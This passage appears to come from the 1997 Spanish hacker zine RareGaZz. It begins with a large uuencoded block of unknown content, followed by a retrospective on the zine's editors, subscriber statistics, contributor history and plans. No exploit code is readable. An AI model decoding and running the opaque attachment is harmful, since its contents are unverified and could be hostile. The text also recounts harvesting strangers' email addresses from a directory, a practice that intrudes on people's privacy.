ME.0H$NX!J.,O%5HV<]QYR/;GOY>WU[(9.$QS@&2G)2]S8]F*]'M>E\OY2!&8
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
:ZN-Q2T*'K%Z@U?0HLZG;M*>LY@O%A\2PW_>P
`
end


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
                       RareGaZz a finales del ao 1997
                       !!!!!!!!!!!!!!!!
               o a principios de milenio lo que llegue primero...
                     por el webguru y mediasavi raretrip

 A continuacion algunos hechos para desmentir verdades y aclarar mitos creados
 alrededor de este zine en el transcurso del tiempo que hemos estado en-linea.

 & Editores
 ~~~~~~~~~~
         - Numero 5 Killerbot
         - Numero 6 Raretrip - KillerBot
         - Numero 7 CrackSmoker
         - Todos los demas raretrip.

 & Stats
 ~~~~~~~
         - Del primer numero al segundo teniamos no mas de 120 direcciones
           en la lista de correo. Hay que hacer notar que estos eran los
           unicos lectores pues todavia no teniamos pagina web.
         - Desde el tercer numero hasta el quinto la lista de correo era
           de 250 direcciones o menos. Nuestra pagina web recibia 15 visitas
           diarias cuando mucho de acuerdo al contador en geocities.*
         - Algo paso en el quinto numero pero la lista de correo se disparo
           a 400 direcciones al parecer gracias a la implementacion de forms
           en la seccion log-in de la antigua pagina. Los hits eran 20/25
         - De ahi en adelante todo se desenvolvio rapidamente y eran 30 hits
           diarios. La lista de correo siguio aumentando...
         - Actualmente la lista de correo cuenta con 682 direcciones de email
           por todo el mundo y la pagina recibe + o - 100 visitas diarias.
 *No valen los hits de los navegadores sin la opcion "Auto Load Images".

 & Personal
 ~~~~~~~~~~
          - Inicialmente killerbot, Le PompeItor y yo sacamos los dos
            primeros numeros usando www.whowhere.com como nuestra fuente
            de direcciones de email buscando en ciudades mexicanas.
          - DuvaHazard colabora en el tercer numero en respuesta a un texto
            publicado en un periodico local. Mr.X hace lo mismo y nos manda
            textos de varias personalidades. KillerBot continua y Le PompeItor
            se desaparece mientras que RdK acepta colaborar con el zine.
          - En el numero cuatro seguimos los mismos y se une serverhacker de
            RdK, cracksmoker prefiere ser colaborador unicamente. Como algo
            nuevo se crea un grupo aparte encargado de repeler ataques por
            bombas de correo o de otro tipo...tienen exito y desaparece.
          - El numero 5 se ve mas estable, seguimos los 4 colaboradores
            permanentes mientras que Arkangel y Cracksmoker colaboran y
            forman Letz Hack. Groovy debuta por primera vez (un admin de un
            banco).
          - Despues en el numero seis se ausentan como de costumbre Mr.X y
            LePompeItor pero con las colaboraciones de DuvaHazard, Orion y
            Truco ni se nota :-)
          - Para el numero siete se une `permanentemente' a raregazz
            cracksmoker -se sale inmediatamente-. En este numero se hace algo
            nunca antes hecho. Entre el colaborador Yo, Mr.x y yo (?) hacemos
            el texto "tips para el hacker ms-dos". Un exito compartido por 3.
            Tambien una excelente revision de software escrita por RdK bajo
            el seudonimo "Siskel&Ebert". Cracksmoker se encarga de nuestra
            pagina web en ese numero y cambia todos los colores :-( Mientras
            serverhacker sigue colaborando al igual que TucanX, NiK y
            GuyBrush. Groovy sigue y seguira en RareGaZz encargado de las
            noticias separandose hasta el numero actual de serverhacker.
          - Para el numero ocho hemos formado un ejercito de colaboradores
            que empujan a este zine mas alla de lo imaginado. Azumlord hace
            su debut asi como tambien Nopal Picudo y Swoish. GuyBrush es
            ahora colaborador permanente al igual que Mr.X, ServerHacker,
            KillerBot y LePompeItor.

 & Personal Actual
 ~~~~~~~~~~~~~~~~~
 A nosotros nos pueden reprochar el no ser estrictamente "Elite" por permitir
 ingresos en nuestro grupo, pero eso no nos detiene a reclutar mentes
 talentosas y dedicadas por eso los colaboradores permanentes de raregazz
 son en estos momentos:

 Arkangel - Azumlord - Groovy - Guybrush - KillerBot - Mr.X - Orion - RareTrip
                            ServerHacker - VoV_77

 Por favor no mail preguntando puedo ser admitido? Todas estas personas han
 colaborado constantemente  y  obviamente se han ganado el pase.  No esperes
 que por un texto o dos seas nombrado inmediatamente  colaborador permanente
 pero tampoco pienses que nunca podras serlo...uno nunca sabe.  Ademas,  los
 puestos se van pasando y asi hay oportunidades para todos!

 & Futuro
 ~~~~~~~~
 Este es el futuro de RareGaZz: mejores textos, mas presencia en internet y
 mas colaboradores. Proximamente un editor diferente.
 En politica seguira siendo informacion gratuita, laica, maniaca, panikeada,
 pasada, freakeada, y sin censura. Para bien o para mal.

 GreetZ a todo el ( ) MUNDO ENTERO ( ) y que tengan PAZz!

 http://www.geocities.com/Baja/4426
 http://raregazz.islatortuga.com
